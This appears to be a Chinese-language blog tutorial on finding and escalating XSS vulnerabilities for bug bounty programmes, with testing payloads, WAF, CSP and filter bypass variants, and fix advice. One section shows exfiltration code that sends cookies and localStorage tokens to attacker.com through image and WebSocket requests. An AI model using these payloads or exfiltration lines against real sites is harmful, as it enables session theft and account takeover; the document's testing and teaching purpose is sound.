XSS漏洞实战：从低危到高危的攻防进阶

1. XSS漏洞的本质与价值重估

跨站脚本攻击（XSS）长期被归类为"低危漏洞"，这种认知在实战中往往让我们错失高价值目标。去年在某金融平台审计时，我发现一个存储型XSS能窃取后台管理员的CSRF Token，最终实现了全权限接管——这个案例让我意识到，XSS的威胁等级完全取决于攻击场景和利用方式。

1.1 三类XSS的实战差异

反射型XSS通常需要诱导用户点击特定链接，在漏洞利用上确实存在难度。但当我们结合以下场景，情况就完全不同：

• 目标系统存在CSP（内容安全策略）配置缺陷
• 漏洞出现在高频使用的搜索框、反馈表单等位置
• 能够通过JSONP回调函数实现数据外带

存储型XSS的威力更是不容小觑。在某电商平台测试时，商品评论区的XSS通过"待审核评论"功能实现了持久化存储，所有查看订单的客服人员都会触发payload。这种"水坑攻击"的效果远超普通反射型XSS。

DOM型XSS由于不依赖服务器响应，传统WAF往往难以防御。去年在某个SPA应用中，通过分析前端路由处理逻辑，发现URL参数未经处理就直接写入innerHTML，最终实现了无需交互的漏洞利用。

1.2 漏洞评分的决定性因素

SRC平台对漏洞的评分标准主要考虑以下几个维度：

1. 影响范围：是否影响核心业务/高权限用户
2. 利用难度：是否需要特殊条件触发
3. 危害结果：能否导致敏感信息泄露或权限提升

我曾提交过一个看似简单的反射型XSS，但因为出现在管理员后台的日志查看界面，最终被评定为高危漏洞。关键在于证明：该漏洞可以被稳定触发，且能造成实质性危害。

2. 高效挖掘XSS漏洞的实战方法

2.1 目标选取与信息收集

不要一上来就盲目测试，先做好这些准备工作：

1. 使用Wappalyzer识别目标技术栈（如Vue.js、React等前端框架）
2. 检查CSP策略：Content-Security-Policy响应头是否存在配置缺陷
3. 分析输入点：重点关注以下位置：
   • 所有带参数URL（特别是?search=这类参数）
   • 表单字段（包括隐藏字段）
   • WebSocket消息交互
   • localStorage/sessionStorage操作点

2.2 智能化的测试Payload

传统<script>alert(1)</script>已经很难奏效，需要更精细化的测试方法：

javascript复制// 检测过滤规则的payload
javascript:/*'/*`/*"--></style></script><svg/onload=confirm(1)>

// 绕过HTML实体编码的payload
<svg><script>alert&lpar;1&rpar;</script>

// 针对DOM操作的payload
';alert(1);//

建议使用Burp Suite的Intruder模块，加载以下字典进行模糊测试：

• XSS Polyglots（多形态payload）
• 各种编码变体（HTML实体、JS Unicode、Base64等）
• 特定框架的注入向量（如AngularJS的{{7*7}}）

2.3 主流框架的专项突破

React应用测试要点：

• 测试dangerouslySetInnerHTML的使用场景
• 尝试通过eval()或Function构造函数执行代码
• 检查自定义组件的props传递过程

Vue.js应用测试要点：

• 测试v-html指令的使用场景
• 尝试通过{{constructor.constructor('alert(1)')()}}突破
• 检查SSR（服务端渲染）时的XSS可能性

3. 从漏洞发现到高额赏金的完整路径

3.1 漏洞验证的四个关键步骤

1. 可重现性验证：确保在不同浏览器/环境下都能稳定触发
2. 危害证明：构造实际攻击场景（如窃取cookie截图）
3. 影响范围评估：统计可能受影响用户量级
4. 修复建议：提供具体修复方案（如输入过滤+输出编码）

重要提示：在测试敏感目标时，务必控制payload行为，仅作无害的alert演示，避免实际数据获取操作。

3.2 SRC报告撰写技巧

一份优秀的漏洞报告应包含以下要素：

去年我提交的一份报告因包含"漏洞组合利用方案"（XSS+CSRF联动攻击），最终获得了额外50%的奖金加成。

3.3 主流SRC平台特点分析

教育行业SRC：

• 重点关注教务系统、在线考试平台
• 漏洞验证周期较长（平均15工作日）
• 对学术诚信类漏洞有额外奖励

金融行业SRC：

• 强调漏洞的金融风险关联性
• 需要更严谨的危害证明
• 奖金发放速度最快（确认后3-5工作日）

互联网企业SRC：

• 偏好影响大量用户的漏洞
• 接受创新性攻击手法
• 通常有季度/年度额外奖励

4. 高级技巧与防御规避

4.1 WAF绕过实战方法

当遇到Cloudflare等WAF拦截时，可以尝试这些技巧：

1. 大小写变异：<sCript>alert(1)</sCRipt>
2. 标签属性拆分：<img """><script>alert(1)</script>
3. 利用HTML解析特性：

   html复制<img/src=x onerror=alert(1)>
   <svg><script>alert&lpar;1&rpar;
   

4.2 隐蔽的数据外带方式

避免使用明显的fetch或XMLHttpRequest，改用这些方法：

javascript复制// 通过图片标签外带数据
new Image().src='http://attacker.com/?data='+document.cookie;

// 使用WebSocket通道
const ws = new WebSocket('ws://attacker.com');
ws.send(localStorage.getItem('token'));

// CSS选择器窃取（针对特定场景）

4.3 前端防御机制突破

当目标采用以下防御措施时，可以这样应对：

CSP绕过：

• 检查script-src是否允许unsafe-eval
• 尝试通过JSONP端点绕过限制
• 利用Angular等框架的CSP绕过特性

输入过滤绕过：

• 测试双重编码：%253Cscript%253E
• 尝试非标准编码：＜script＞alert(1)＜/script＞（使用全角字符）
• 利用浏览器解析差异：<script\x20>alert(1)</script>

5. 漏洞修复建议与个人成长

5.1 给开发者的安全方案

根据OWASP推荐，完整的XSS防御应包含以下层次：

1. 输入验证：白名单过滤（如只允许字母数字）
2. 输出编码：根据上下文选择对应编码方式
   • HTML实体编码（<）
   • JavaScript Unicode编码（\u003C）
   • CSS十六进制编码
3. 安全API：使用textContent代替innerHTML
4. 响应头配置：强化的CSP策略

5.2 持续精进的学习路径

建议按这个顺序系统提升XSS挖掘能力：

1. 基础：完成PortSwigger的XSS实验室
2. 进阶：研究历史CVE中的XSS漏洞（如CVE-2020-11022）
3. 实战：参与开源项目安全审计（通过GitHub提交漏洞报告）
4. 创新：探索新型前端框架的攻防技术（如WebAssembly场景）

我在最初三个月坚持每天测试2个不同网站，累计提交了47个有效XSS漏洞，这个过程快速提升了漏洞嗅觉。现在看到任何输入框，第一反应就是分析其数据处理流程——这种条件反射式的思维方式，才是安全研究员最宝贵的资产。